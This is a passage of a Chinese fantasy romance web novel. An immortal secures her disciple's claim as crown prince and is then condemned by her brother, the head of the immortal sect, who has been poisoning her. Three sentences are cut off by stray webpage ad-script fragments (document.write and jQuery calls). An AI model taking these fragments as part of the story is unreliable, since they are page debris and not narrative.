“太子薛辞未死,若循人间界祖制,太子薛辞即位。若循天命锁一说,太子薛辞即位。”容晚凝视着褚尽欢的眼睛,望见一晃而过的慌乱,紧接着是毫无克制的嘲笑。 她自然笑了笑,指尖一抬,一簇白色的光火直飞入天。 清冷的声音一同落下来。 “若依民心所向,太子薛辞即位。” 宫门大开,无数黎民百姓如潮水般涌入王宫。 容晚心中紧张,她不过是在赌。赌褚尽欢心中,黎民尚且有几分重 赌他一如往昔,高位者争权,不杀其民。 “你知道,我一声令下,今日无人能活。”褚尽欢如是说。 47. 一步恩仇 “太子殿下千岁!千岁!千岁岁!” 宫墙内外,黎民熙熙攘攘,主城干道堵得水泄不通。 “你我清清楚楚地知道,薛辞已死。” 褚尽欢抬手一唤,数千乌卫弯弓上箭,满弦之声回荡不绝。 “数年前,世人皆知太子薛辞假死!” 容晚的声音随着灵力传出,在场众人听得清清楚楚。 “上仙,谁人不知薛辞死于白衣之手呢?”褚尽欢召出一颗留影珠,行至容晚身前,低声问:“我以为上仙很清楚呢?” 那颗留影珠内,是白衣即是容晚的证据。 “是。再清楚不过,”容晚神色倏然平和,眸中漾起光彩,好似一瞬间有了十分的把握。 “可是太子薛辞未死,是不是?阿昼。” 夙昼蜷缩了下指尖,牵好身旁的薛容。他不懂容晚要做些什么,既然容晚要他这么做,那一定有她的道理。 “我——乃太子薛辞。”夙昼神色坚定。 “哈哈哈哈!”褚尽欢嗤笑说:“你跟在她身边这么些年,连位置都摆不清吗?” 褚尽欢指尖凝出杀招,冷声道:“本座当年真是不该放过你,更不该一次次地放过你。” “我——乃太子薛辞,天命在我,不在他人。”夙昼重复道。 “真是……不知天高地厚。萤火也想同朝月争辉?”褚尽欢抬手。 “放箭”二字还未出口,容晚先声夺人。 她攥起夙昼的手腕,冷声道:“真正的太子薛辞唯有一人。” “不可能!”褚尽欢容颜失色。 “什么?”夙昼揪住衣襟,拳风骤出,又内化于身,只觉胸口涌出一口血沫。 “两任帝王亲笔诏书,何来有假?”容晚侧过脸,望向立于长阶两侧的臣子,压抑着心中不满,缓缓开口:“当年宫门内,一出狸猫换太子的戏,竟是叫我今日有了赢面。君首不如好生看看?” 一滴金光乌血自夙昼腕间溢出,飞入天命锁中,锁扣轮转开合,璀璨金光映射天幕。 九龙入云飞天,龙啸惊天撼地。 容晚微微扬起下巴,朝储尽欢一笑,“如何?” 尚且在怔愣中的夙昼,喃喃问:“师父,我是谁?” 容晚握住他的手,安抚他:“你是阿昼,不论姓氏为何,都是阿昼。” 储尽欢眸色一暗,唇角抽动了下,讥笑道:“上仙真是演了好大一出戏。” 他一边拍手,一边扯过容晚,贴近耳畔质问:“筹谋数十年?还是……” 储尽欢的眸光幽怨,似乎回溯过去,望见那个烂泥荒野里满身污血的少年,语气不怒而威, “你从一开始,便想好了今日这出戏?玩我吗?” “哪里敢呢?” 容晚偏过脸,虚虚一掌将储尽欢推开。她正迟疑着,储尽欢不该如此放弃,他—— “放箭!”储尽欢怒而生笑,幻出弯弓朝天连射数箭,“放箭!放箭!放箭!” 鬼火光箭,密而成雨,自天直降。 容晚不甚震惊,她淡然地抬眸一望,掌心一翻。 脚下阵印流转,光辉四溢,顷刻间,一场大雪纷纷而下。 雪晶落于鬼火上,冰层倏然包裹住火焰,再一瞬,火焰冻结,再不跳跃。 “果然是第一上仙,竟能破我秘术?”褚尽欢冷声一笑,颇为赞赏容晚此举。 “多谢夸赞,我们研习了许久。”容晚的眸光一直落向箭雨下的众人。 褚尽欢持弓瞄准远方,语气平和,说:“容晚,如此的箭雨落下来,你口中黎民受不受得住?” “自然受不住。”容晚望着鹅毛大雪,冷意自然而生。她静静地望向褚尽欢,同他博弈,下这一盘棋中定胜负的一子。 “可惜……他们不是。”容晚冷冷望向众人,那些褚尽欢口中的“黎民”。 箭雨落下时,阵印、剑光、符文交缠叠加,众人齐出灵器,挡箭、回击,身法如此熟悉。 分明是落乌中,受训操练的乌卫。 褚尽欢冷然失笑,长长叹道:“容晚,我真是小看了你的狠。竟让我落乌中人自相残杀?” 那道锐利、极具锋芒的眸光刺过来。 “兵不厌诈。”容晚缓缓抬眸迎上去,轻声说:“我不过是去落乌,以你之名,调你的兵。” 容晚眼神中是浅浅的悲悯,闭了闭眸,终是启唇道:“何况……我太过了解你。今日此地,若真是无辜黎民,你的箭可会不放?你一定会射杀所有人。就如同此刻,这里是你的子民,你却连一声停也不喊,不是吗?” “不识诏令,竟被随便……什么人都能带来此处,坏我大事,依律当诛。” 褚尽欢的眸光落向容晚,似要抓住她片刻间的失神,同她质问:“容晚,你不是心怀苍生吗?落乌众人可也是苍生,你为何不动?” “因为他们不会死。”容晚并不担心。 伪装成普通黎民的乌卫各个善战,裹上雪晶的鬼火光箭不过是寻常灵箭,若是躲不开,也不必当什么乌卫。 “天命锁已出,九龙现世,世人皆知谁是名正言顺。”容晚察觉到箭雨将歇,神色一冷,“褚尽欢,这一局,你输了。” 她很少唤他的名字。 褚尽欢在风雪中抬起头,只觉雪片模糊眸光,“很好,你总会做得很好。” 未待容晚回话,褚尽欢抬手一落,身影不见踪迹。 “师父!我是谁?” 夙昼护着薛容,六岁的小孩儿躲在他身后,居然颤颤巍巍唤出几声“太子殿下”。 褚尽欢离去不过二三瞬,殿前空地上只余朝中臣子和薛氏中人。 “带他走。”容晚侧眸示意。 薛氏中人忙将薛容拉过来,礼礼同容晚致歉,“实在是为护姓名,我等……未能护住薛老,实在是有愧……” “走,都走。”容晚不想再听。 薛书空命陨,薛氏有责,她亦有。 一时间,整个世界如死一般寂静。 臣子三三两两地离去,他们前来向夙昼叩礼,再一句:“太子殿下千岁。” 两道亲笔诏书,天命锁又现吉兆。 他的身份,名正言顺。 容晚倚着殿前高柱,望着八角宫灯随风而动,叮叮当当的银铃声在落雪声中更加夺耳。 而夙昼席地而坐,他随意地坐在正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 殿前的门阶上,听过几声问礼,便摆摆手让众人离去。 见此,容晚坐在他身旁,他们望向一望无际的王城宫墙,只见大雪茫茫。 红墙绿瓦间,我同师父春日见雪。 夙昼隐隐想。 “师父,我是谁?”夙昼又一次问。 “太子薛辞。”容晚毫无隐瞒。 “师父同我说笑?” “你本是太子薛辞。” 容晚静静说:“太子薛辞,有一乳名,唤阿昼。白昼出生,所以唤阿昼。你真正的母亲是当时的皇后娘娘。当年夙妃离宫,携有一子,对外宣称早夭,其实是你。” “所以,我同薛沐是真正的兄弟?” “算是。” “那他知道吗?”夙昼想起过往憾事,他曾以为自己杀去挚友的兄长,挚友临终前他的坦白似乎无用,他望着白净掌心,却只能看见刺目的血,“我是说,他死前,知道吗?” “那一道诏书即是证明。”容晚手中落了纷纷扬扬的雪晶,她攒了攒,又伸开手,问:“他不知该怨恨你吗,就像你一样。” 过往仇怨错综复杂。夙昼忽然变成了自己的仇人,所谓薛姓王室的满门,竟有他。 “那我为何来到夙州呢?” “人人想杀你,人人又想要你。薛弃闲舍不得杀你,他想要你活,又得让三界以为你死了。” “所以都是谎言吗!”夙昼忽然直起身,带着满腔愤懑朝天空喊。 他极快地将过往线索串联成线。身世、夙妃、王室密辛、薛沐死前的遗诏,夙昼回身望着容晚。 “我未死的消息终归败露。而后夙妃行踪泄露,我的藏身之处公之天下。然后……”他口中喷出一口鲜血,确定道:“三界共伐,搞出一场夙州血案。因为人人想要我死!” “是。”容晚意在同他坦白,便将知道的悉数告知:“但薛弃闲知道你不会死,所以……这是他的一步妙手。” “为什么?”夙昼惊觉,想起某些过往,眼神溢出杀意,自嘲道:“我确实死不了啊。我护在母亲身上,挡了数十剑,每一剑都一起刺穿我们。我又护在妹妹身上,如血的杀阵绞着我们的身体,好像一切都碎掉了,可我还活着。” 夙昼蹲在容晚身前,他抬眸望向她,问:“我在雪夜里见到您,后来次次寻死,如何都死不了。” “阿昼,我——” “我在死斗场的十年至今,多少次本该死去时,我都活下来了。”夙昼如雪冰冷的指尖攥握住她,“所以,我为什么不会死去?” 他张张唇,想起容晚醉酒时那句“夙昼走向他注定的结局”,喉间哽咽,如何努力也发不出声音。 他只觉刀剑加身、元灵尽碎都不如此时心痛。 “师父……”夙昼声音黯哑,他从心口幻出那颗暂代元灵的血灵珠,问:“我是谁?” 容晚正欲开口,一声呵斥自天而落,这人带着上因的云雾冷意落在容晚身前。 “不能说。”衡游将那颗血灵珠塞回夙昼身体里,挤在两人中间坐下。从怀里摸出一个白瓷小瓶,道:“喝药。” 容晚浅浅一笑,接过喝下,“阿昼,你相信注定的命运吗?” 48. 白衣罪仙 人间界王城冬日落雪,至绝美境。年年冬至,宫门大开,百姓黎民皆可踏雪观宫,祈愿来年。 过往十二年冬至,年年如此。 如今满地雪痕,不是众人踏雪祈愿,全是因为那一场夺权乱战。 雪光之下,细细碎碎的雪片落在几人身上。 “阿昼?”容晚侧过眸,夙昼正十指交叠,望着脚下的交错雪痕。 夙昼视线一偏,容晚的衣裙随意落在地上,远瞧的白色,近看是极浅的蓝,细密的绣线织就白梅,一枝枝往腰间伸去。 “不回答吗?”容晚问。 夙昼蓦然挺直肩背,往远方绵延的宫墙望去,说:“命吗?我不信。” “我也不信。”衡游道:“因为算过一次不准,我还信个鬼?” “师父呢?”夙昼见她攥着手中小瓶,迟迟不言,偏过头,苦笑了一下。 容晚垂下眼眸,忍住入眼雪沫逼出的泪意,缓缓地摇头。 手中瓷瓶坠地,咕噜噜地滚向夙昼脚边。 夙昼捡起那只瓷白小瓶,越过容晚去望衡游,问:“师叔啊?这是什么?” 他刮下瓶口溢出的那一滴液体,乌黑色,粘稠,泛着白色的碎光。 “竟然还有些烫?”夙昼随口一说:“像火焰一样。” “火焰吗?”容晚思绪万千。 “做什么?做什么?还给我!”衡游抢过来,揣在怀里,意识到自己似乎反应过度,只能亡羊补牢,说:“我炼药辛苦,这药难得,堪堪只有这一只瓷白小瓶能盛,别的容器通通都要炸炉,烧了丹房好几回。” “是吗?”容晚问:“你这些时日一直在落乌,你和阿意的宅子里,哪里有丹房?” “啊?”衡游隐去那只小瓶,忙道:“我……阿意喊我回家。我先走了。” “衡游。”容晚叫住他,压下眼中泪意,问:“你选好了啊。你知道共主之争。我从来都希望你置身事外,不要再牵涉我们的事了。” 她的声音极力镇定着,听起来却叫人难过。 “人间界的事,你想来,我便叫你来了,没什么大不了。可是上因与落乌争斗,我不想你为难。” “停——”衡游急忙忙转身,随手摸出一张符文塞给她,“攒一张哈,算我惹你难过。” “哭哭符。”容晚展开,望见潦草画痕,这是她的手笔。 小时候要强,刚入仙学时,因为符文一门没有图画册,繁复古文看得她脑袋晕晕,于是,衡游替她作符文,她帮衡游学阵法。 衡游一惹她,容晚便揍他,揍完后她复盘始末,委屈得掉眼泪。她在上因没什么朋友,但衡游朋友很多。所以容晚格外珍惜这一个,可太珍惜了,又不免总生是非,两个人都委屈。 于是,小时候的容晚画过百十来张哭哭符。惹她生气一次,便用一张。 距今一千多年了…… “好多年没用过了,你居然还留着?”容晚叠起那张哭哭符,笑问:“走吗?走了也好。” “你——”衡游不管耳中阿意的数道传音,拽着容晚站起来,问:“容晚,你还记得十二年前,我们说好一起成事。如今人间界得手,以后上因落乌用不到我了,所以你想踢我出局?” 衡游还是这个脾性。 想什么说什么,等他反应过来缘由也要个几日。足够了。 “至少不是踢。”容晚道:“以后没什么事,不要来找我。” “行。”衡游此时,只觉容晚莫名其妙一通脾气,连传送阵也忘记用,骑着灵鸢负气而去。 “师父是故意的,对不对?”夙昼起身同她并肩而立,手中幻化一柄竹伞,往容晚倾去。 她鬓发间落了雪沫,夙昼伸手拂去,指尖挂了下她的琉璃耳坠。 “很明显吗?”容晚抬眼望向他,两人眸光一撞,不约而同地扬起笑。 “可惜衡游上仙没看出来。”夙昼慵懒道:“师父,好冷啊。” “这话你早些年说,我还会相信。” 容晚夺过他手中的竹伞,唇边噙着笑往前走,留他一人在伞外淋雪。 “哦。”夙昼眸光缱绻,无奈地笑了下。 “师父,我替您撑伞。” “不要。” “我又不撑。” “嗯?” 夙昼同她隔着一人远,手臂绷直,竹伞完完全全地罩住容晚。 “看——” “无聊。”容晚避过他灼热张扬的目光,望向前路一望无尽的宫道,笑意一点点冷下来。 容晚蓦然转身,去勾夙昼的指尖。 冰凉的指尖入手,夙昼蜷了下手,只觉掌心一片滚烫。 “别动。”容晚将残留的那滴药蹭到指腹,松开他的手。 “哦。”夙昼垂眸望向容晚,蜷缩了下手,指尖摩挲着她触碰过的那一处。 眸光流转在那一处。 “哥哥。”容晚一声轻唤,惊得他霎时惊醒。 容晚挡在他身前,被风吹起的发丝和雪花一同拂在他脸上。 那柄竹伞轻飘飘地落在地上。 数名禁狱卫随在容皓身后。容皓静静地负手而立,笑意比雪还冷。他眼神一动,禁狱卫提剑直冲而来。 容晚轻轻颔首的一瞬,夙昼冲出去,手腕一抬,数道剑光直落,以一牵十,未占下风。 眼前剑光交锋,踏雪声如同乱石打鼓。 落在容晚眼里,一朵朵银色泛光的剑花在飞雪中盛开。 隔着冷风雪雾,容晚唇齿边溢出浅浅的热气,问:“仙门首座来访,话也不曾说,倒开始动刀动枪?” “若是来访,却是不太好。可惜不是来访。”容皓见她满身落雪,眉目不喜,一个弹指间,容晚满身再不沾雪,干干净净地立于他面前。 “晚晚,不回家吗?”容皓问。 话入夙昼耳中,他剑锋停了一瞬,再抬眼,禁狱卫的剑已在颈前。俯身一躲,却被身后的一剑刺中。 随着剑刃一出,点点鲜血落于雪地。 他不该分心。 容晚不自觉地皱起眉。见战况顺利,容晚收回视线,盯着眼前乌发高束,顶戴金冠的仙首。 “看来,晚晚费心调.教的小徒弟也不怎么样?”容皓又道:“和哥哥回家。” 容晚摇头。 “是吗?”容晚抓着她的肩膀,问:“上次见面,哥哥只当你不懂事。我们晚晚没什么朋友,被一个贱种骗去也很……” “你来做什么?”容晚挣开几分,却惊觉周身灵脉似乎冻凝一般,她抬手起阵, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 毫无反应。 容皓适时收回手,说:“回家。” 下一瞬,周身灵力运转恢复如常,容晚不再拒绝,说:“让禁狱卫停手。” “哥哥自然听晚晚的。”容皓眸光朝夙昼一扬,冷声说:“但是不能带他。” “好。”容晚应道。 随即,禁狱卫听从容皓指令,散为一团金光,立地消失。 夙昼收了剑光,便见容晚朝她走来,她步履不停,同他商量:“阿昼,我去上因一趟,好不好?” 夙昼想答不好,却只说:“我会等。” 容晚浅浅弯唇,向他一笑。才回身往容皓身旁走去,回身一瞬,温和的眸光便冷下来,带着雪日的冷凉刺向容皓。 容皓置若无物,将这道冷光回刺向夙昼。 适逢容晚走至身前,他微微俯身,说:“哥哥喜欢你听话。” 容皓透过容晚随风散扬的发丝,微眯着眸刺向夙昼,似是无声的警告。 “不走吗?”容晚正欲起阵,便被容皓攥住手腕,体内灵力脉流便又乱了。 “回家。”容皓揽着她,步步往远方走。他扣住她的肩,冰冷的呼吸喷在她侧脸上,“再回头,哥哥不介意杀他一次。” “你敢。” “是,哥哥想让晚晚开心,所以不敢。” “开心?”容晚低低一唤,“哥哥?” 趁着仙门首座失神,容晚猛地将他一推,首座踉跄一步,容晚已挣开束缚,身形一散,人便落在了上因宫。 桌案上堆积的诏书、战报成山,容晚耐着性子翻过一册又一册。 落乌界接连失地,上因界胜了又胜,因而无暇关注人间界。可褚尽欢相争人间界,怎么说都在像玩一样。 不该如此。 褚尽欢昔年征战落乌边境,战战连胜。年岁尚轻时,平内乱,克上因,不过百年间,压得落乌界那群几千岁的妖魔鬼怪再难起势。 他不该如此一次次地输。 他在让她吗? 容晚不信。 等了又等,怎么还不来? 容晚不想在等,从高座上起身时,容皓推门而入。他身侧跟着衡廷肃,衡廷肃捧着一沓诏书。抬眸瞧见容晚,目光闪躲了几分。 “师长安好。”容晚同他示礼。 “回吧。”容皓拿过衡廷肃手中的诏书。 衡廷肃似乎未听到那句问安,回身便走,相当洒脱。 容皓瞟过容晚手边的书册,淡淡问:“晚晚偷看?” “真正重要的东西,你会放在这里吗?” “不会。”容皓侧身倚在桌案上,随手递给她一道诏书。 容晚继续坐在象征着仙门首座的高位上,问:“什么事?” 递着诏书的手僵住,容皓搁下诏书,问:“不看看?” “为什么要看?”容晚不思其解。 “因为我想拴住你。”容皓抬手去拂她垂落的碎发,只见容晚一躲。他随意地甩手扇了道风,装得毫无在意。 “白衣罪仙,强破诡道,又牵涉人间界两任帝王、三位皇子之死,一旦公诸三界,灵台审判,天罚加身,身死魂消,再难为仙。” 他的笑意倏然阴冷下来。 “这些……够不够拴住晚晚?” 49. 白衣罪仙 “你觉得够吗?”容晚懒懒抬起眸。 “不够啊。”容皓将白色流光注入诏书,流光一般的文字顺着上因宫门缝溜出去,落往三界。 “容皓,我就知道你会这么做。”容晚望向上因宫中,高悬于空的上因剑,一丝笑意流露。 她极少回顾从前,如今最后一次同容皓推心置腹。 “当年我们一起竞逐仙门首座,你不顾我的性命,下了一剂猛药。再到如今野心染上血……所以不要再说是我舍弃你、舍弃上因!你就是这样,一点点自己亲手丢掉上因的。” “是吗?”容皓忽然发起疯:“晚晚,你从来不信我,是你背弃上因,你宁愿去帮那个贱种也不帮我!” “无话可说。”容晚凝望一眼上因剑,抬起手想带走,最终还是什么都没做。 “晚晚,哥哥再问最后一次。你选夙昼是吗?” “我当然选他。” “可惜。”容皓将袍袖之下掩藏的稚拙玺印交还给她,平静的神色下是沸腾着无边怒意,说:“审判书一出,连我也护不住你,你还能怎么帮他?” “他会赢,不是因为我会帮他。而是他本就可以。” 躲过容皓,容晚沿着高阶步步往下,裙尾拖曳过他的华裳衣摆,只一瞬交叠便再无交集。 容皓沉沉笑声回荡在空阔的上因宫里。 哪想容晚一出门,禁狱卫层层围困,不远处是围观议论的仙官仙子。 “今有白衣罪仙,罪在其三。” “罪其一,昔年强破诡道,妖魔四散。” “罪其二,今朝牵涉人间界两任帝王、三位皇子之死。” “罪其三,北域十三州一战,勾结落乌,强开边防大阵。” 拿不准主意的仙官细细观察容晚神色,问:“上仙可是……” 回眸一望,容皓坐在高座上,双腿交叠,单手支着脸,笑意极冷,又似乎有几分焦灼。 “这道诏书怕还有些错,上仙不如留在上因,与本座好生商议?” “有错吗?是有错。”容晚五指一张,诏书迅如飞光般落于她手,眸光落下一瞬,声音便和以灵力让所有人听得清清楚楚。 “数罪并罚?灵台审判?”在容皓几欲崩溃的目光里,容晚接下那道诏书,冷声道:“我认罪。” 宫门外熙熙攘攘的人影霎时消散,无数细碎的白光往容晚身后涌去。 她在日出霞光下回眸。 “认?”容皓纵是生气,却苦涩地皱眉,眸光在重重仙雾里只见模糊晦暗。 他喉间哽了又哽,问:“你凭什么认?” 容晚问:“你不想我认吗?” 她转身既走,便听见容皓低声道:“这些年你在人间界玩得够多了,自今日起,不会有什么越界文书,你就好好待在上因,哪里也不要去了。” “我如果走,你就即刻开战,对不对?” 容皓只是望着她,一言不发。 容晚调用灵脉,只觉灵脉不稳,连灵气也用不出来,更不必说递什么传音。 她随即穿雾踏雪,步步走回了望春山。 这里的落雪下过一夜又一夜,风雾也卷着雪粒去吹容晚的衣裙。 时过境迁,上因同落乌的领地、边境变了又变。这里似乎什么都没有变。 她推开从前小住门扇,内里装饰毫无变化,仍是她从前喜好。 逛过整座望春山,她忽然有些想念朋友,忽然间只觉孤单。 望春山上下除却苗圃、丹房,其他少有变化。衡游说是要去了望春山,却仍是拿她当主人,反倒细心打量着苗圃中的灵植灵木。 容晚坐在窗前,望见窗沿下方的土地,乌黑近墨,泛着氤氲灵气。那些曾被夙昼浇灌的灵植,如今竟真的发了芽。 不顾窗外飞雪,容晚靠在软塌上浅眠。天光转了一圈又一圈。 再睁眼时,窗外候着的仙官已落了满身雪,听见容晚醒来的动静,递过诏书。 “是什么?” 容晚指尖叩着窗缘,懒得接过来。 “首座下诏,念您当年因故破禁狱诡道,又游走三界,追捕逃犯,无一错漏。如今……”仙官将那道诏书搁下,说:“如今撤您仙阶仙品,罚去藏书阁,领一个掌书小仙职。” 容晚叫这仙宫送她,即刻去往藏书阁,其间仙气萦绕,点点烛火一若往年。 长形矮柜后坐着的仙官站在椅子上迎她,身形矮小的老书唤道:“上仙,许久不曾来过了。老头儿窥得一分天机,上仙可要看一看。” 他从数个排列有致的小方柜里,抽出一格,调出一方灵境。 “上仙……” “不看。”容晚熟门熟路地拉出一张木椅,倚在长柜上,眉眼间淡淡仙气比雾还淡。 “看一下吧!” “不。” “您怎么不按常理啊?” “常理?什么是常理?” 容晚摸出一壶冷酒,借着藏书阁的燥热暖意入口,冰得唇齿一颤。 “上仙,藏书阁不得饮酒。”老书闻着酒香,不觉有些自醉。 “神树落花,酿酒,封存又千年……”容晚摸出另一壶,推至老书面前。 又淡淡吐出两个字:“管够。” 天光自明至暗,容晚面上有些醉意,她侧过脸望向老书,他醉的一塌糊涂,拉着容晚滔滔不绝地讲仙史、说密辛。 “你在听吗?” “有。”容晚懒懒地放下酒盏,又推给他一壶,为他斟酒。 琉璃酒壶晶莹剔透,壶口沾着一滴乌黑液体,是容晚所喝之药。能让她违契之后,胜天半子活下来的灵药。 其上细细碎碎的白光,带着灼人热意。 老书拿起酒盏灌了一口,下一瞬,脸色古怪,眉目狰狞,拿起旁的酒壶,又是一口喷出来,大喊道:“不能喝!” “为什么啊?”容晚眸中醉意已深,偏偏心中清明。 “密辛!首座密辛哪能乱说?”老书翘着一双小短腿坐在矮柜上,与容晚视线齐平。 容晚步步引诱,问:“一定是你不知道,才说是密辛来搪塞我。” “我,天地书所化,无所不知!”老书借着酒劲同容晚勾肩搭背,拽着她趴在桌上去观摩那一滴乌黑,道:“这啊,白光是什么?” “不知道。”容晚隐有猜测。 “叫你从小不爱读书,成天看画本。”老书神神秘秘地说:“白诡火,诡道禁术,设术者也不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可解。” “我不信。”容晚故意道。 “哎!”老书借着酒劲撒泼:“凭什么不信。” “你说不出所以然,所以我不信。”容晚激他。 “看好了!”老书手掌一翻,细细的乌黑液体流转在他指尖。他按着容晚坐在柜前,自己则是拉了一道灵幕开始讲学。 “白诡火,善流淌,不灭禁火,同鬼火光其名。上仙不会连这也不知道?” “知道……”容晚拖长尾音。 “很好!人间界密阁封禁,便是因这白诡火……” 老书絮絮叨叨讲了一堆,才讲到容晚想听的重点,她打着哈欠问:“我不懂,白诡火为什么会细碎成光?” “诡道禁阵,和着白诡火揉碎了,再添上几味药。”老书被酒劲喝的头大,什么都不经脑子往外说。 “一味金丹,出自……”老书嗅了嗅那滴乌黑液体,掐指算道:“衡游那臭小子。” “再有一味心尖血,足量,以命起阵,胜……”老书猛然趴在桌上,说着酒话:“胜天半子……” “你说诡道禁阵?无解……” “白诡火入体啊,一旦断服,无解……” “什么祸害玩意儿?损人伤己,下下下品禁药……” “好奇葩的一个禁阵,拽仙元,控灵脉。想与天争什么……” 一句一句,容晚心凉一分、五分、十分。 永不停歇的冷意裹住她,冷得手中的酒盏落地。 容皓这一回,下的何止是猛药? 他想要她的命。 醉酒的老书忽然抓住容晚的手臂,问:“谁快死了?” 他晃晃脑袋,眼前重重人影,八个容晚。神色忽然一变,他指着容晚说:“你同别人结了天道契,怎么能违契呢?糊涂……” 话未说尽,老书彻底睡死过去。 满地酒壶七七八八地躺着,一室酒香。 容晚从熟睡的老书怀里摸出几张传送符。身形一幻,往人间界去。 那场她起阵而下的暴雪已停。 长长的宫道上,容晚望见夙昼。 他不惧冷风,踏着残雪在宫道上来来回回地绕圈。雪道上脚印繁多,找不出哪里是未踩过的。 那柄竹伞孤零零地落在地上,积雪近一寸, 他在等她。 一个白昼,又一个夜晚。 只因一句“我会等”。 瞧见容晚时,夙昼拾起竹伞朝她跑来,身形如风,仪态端方。 他什么也不曾问,只是说:“纷纷春日,雪融化水,我为师父撑伞。” “是。雪融时,我来见你。” 容晚黯哑的声音传来。 “师父饮酒了?”夙昼垂下眼眸,忍不住想起那日容晚大醉,口口声声念叨着回家。 去过上因一趟,容晚神色淡淡,似乎对什么也提不起兴趣。 雪落王城,道上阶前,他为她执伞,免得雪水沾染,满身湿意。 容晚静静地听他说话。 行至雪厚处,容晚脚步有些不稳,一瞬摇晃,她扶住夙昼的手臂,堪堪站稳。 抬眸望见—— 他来不及掩饰、躲藏的含情眸光。 50. 白衣罪仙 “师父。”夙昼躲过容晚眸光,刚刚扶她站稳,便立刻松了手。又往后退了两步。 容晚迟迟没有说话。 春日融雪的滴答水声入耳,如曲乐般洒脱冷凉。 去往清河正殿的路有些长。 殿前白玉石阶通向高位,入了雕龙描金的十二扇宫门,一抬眸便能望见那张金碧辉煌的龙椅。 “上去吧。”容晚道。 夙昼依言步步往高阶处走,他缓缓而行,面朝前方,眸光却没落在那儿。 他瞳仁微微发散,心思全在身后那人。 “别回头,一直往上走。” 容晚的声音同春日的和煦微风一起落在他耳边。 一步步走至长阶最高处,夙昼还未站定,又听容晚说:“阿昼,回头。” 夙昼回身望向眼前,眸光一落。 春日雪中,红墙绿瓦,满地残雪比白玉石还要亮,却不及容晚一袭素裳耀眼。 她手握竹伞,衣裙发丝随风而动,眸中是淡淡的神色,却叫他读不懂。 “告诉我,你看见了什么?”容晚问。 “师父。”夙昼脱口而出。 容晚眉心一皱,这显然不是她想听到的答案。 “你此时望我,是居高临下。你如今初登高位,往后日日在高处。我相信你的野心、你的实力,我只有一件事想嘱托你。” “师父,我绝不辜负你。” “阿昼,永远不要忘记……你是如何从夙州残雪血海里走出来的,你是如何一步一步走到今日的。” 容晚本不必说,但她隐隐藏了几分私心。 如果前路命运注定,她想让夙昼走得顺一些,这是她唯一能做的事。 春日暖阳隐隐往西边落去,容晚追着落日的影子带他登高奉天门。 容晚又问:“告诉我,你看见了什么?” 夙昼的眸光总是落在容晚脸上,淡然眉眼,长睫微翘,耳边坠着一颗细小的紫藤花耳坠。 “我先是看见师父,然后……”夙昼望向远方。 晚间雾重,王城街道上挂起盏盏灯火,迷离晃眼,一点点漫向四面八方。 星星点点的灯火沿着街道移动,护城河畔佳偶相聚,一盏盏华美河灯飘往远处。 人头攒动,嬉笑欢闹,曲水流觞,春日盛景。 “我看见了烟火红尘,芸芸众生。” 名正言顺的青年帝王微微抬眸,他不曾在王城中长大,他本就从人间来,他本就是芸芸众生之一。 夙昼紧绷着下颌,双手抓着描金的木质栏杆,在月夜灯火下侧眸,问:“师父,你呢?看见了什么?” 夙昼在夜色下回眸,他如今样貌是本本真真的真容。面容冷峻无情,显得高不可攀。 狭长冷眸里是浅浅的墨色,不时流转着微弱的红光。 他身上有了三界共主的上位者姿态。一旦冷下神色,举手投足间蓦然叫人胜寒。 而此时,夙昼噙笑望着她,一如从前乌衣巷尾那个肆意轻狂的他。 “我看见你啊。”容晚心中默默补充。 看见你,就像看见我回家的路。 夙昼低低地笑出声,他颇有兴致,攥住容晚的手腕,拉着她走下奉天门。 容晚一颤,没有拒绝。 他们一起挤入人流,沿着人潮往河畔走。 “师父,等我一下。”夙昼神神秘秘地离去。 容晚驻足河畔,少男少女们放灯祈愿,互许衷情,盏盏灯火沿着河流而,盛着少年人的情意。 她递了几两碎银,要了一方席塌,背靠着假山石,望着众人曲水流觞,欢乐至极。 夙昼寻到她时,便看见这样一幕。 和煦灯火映在容晚侧脸上,河灯微晃春水,她面上的光明明灭灭。 她倚着假山石随意而坐,手边的琉璃酒壶空了二三,眸色中是淡淡的哀伤。 她为什么难过? 是因为不能回家吗? 夙昼稳下心神,攥紧手中的月白色香袋,犹豫再三,递给容晚。 “师父,送您。”他语气小心,却能听得出一片赤诚,“今日佳节,祝师父日日康健安乐。” “我收下。”容晚摸出另一壶冷酒,递给夙昼,浅问:“陪我小酌几杯?” 饮至兴处,夙昼同邻桌的公子们以酒赋诗,他小时虽不爱上学,但文采极佳。 容晚望着他言笑晏晏的模样,目光不自觉柔和下来。 河畔边吟诗作赋,曲水流觞,倒让她想起一个节日。 三月初三,上巳节。 祓禊祛灾,兰汤辟邪。 有情人互赠香草,相约定情,亦或祝福来年康泰。 容晚握着手中香袋,淡而不腻的香气传来,她拆开一看,里面装着细细碎碎的新鲜香草。 巧妙阵印轮转,香气得以永存不散,香草郁郁葱葱,不会腐烂。 香草驱赶邪佞,但愿夙昼只是祝她康健安乐,而非其他。 酒过三巡,夙昼眉梢飞扬,面上染着些许醉意,他忽然俯下身躯,趴在桌案上望她。 什么也不曾说,就只是望着她。 许久,明明祝酒吟诗声此起彼伏,各色曲乐交叠入耳,她偏偏就是在喧闹声中听清他的醉时呢喃。 容晚指尖一蜷,清凉的脉流涌入夙昼灵脉。 “师父?”夙昼侧过脸不去看她,说:“我醉后失言,师父尽可笑我罢。” “不会。”容晚将他面前醇厚醉人的冷酒移开,翻出几瓶清爽的桃花酿。 拿出来的一瞬,容晚指尖僵住。 她有些后悔。 夙昼望着瓶身失神,在容晚未觉前,他随手拿过一瓶,拆下瓶口的封条、软塞。 指尖不觉地摩挲了下封条,夙昼仰起头灌了一大口,似乎要惊散酒意带给他的燥热。 桃花酿。 昔年他与容晚封埋在紫藤花树下的几瓶。 封条上的笔迹是他所书。 “很是清爽。”夙昼谈谈抬眸,问:“师父,这是谁人所酿啊?我在上因都不曾喝过。” “旧友。”容晚心虚。 “我记得师父好友只有衡游上仙。”夙昼装出三分醉意,问:“还是旧时您与褚尽欢同门时——” “不是他。”容晚紧张,不觉攥得手中香袋有些发皱,流苏缠绕在指尖,丝丝缕缕。 “师父不喜欢吗?”夙昼眸色一暗。 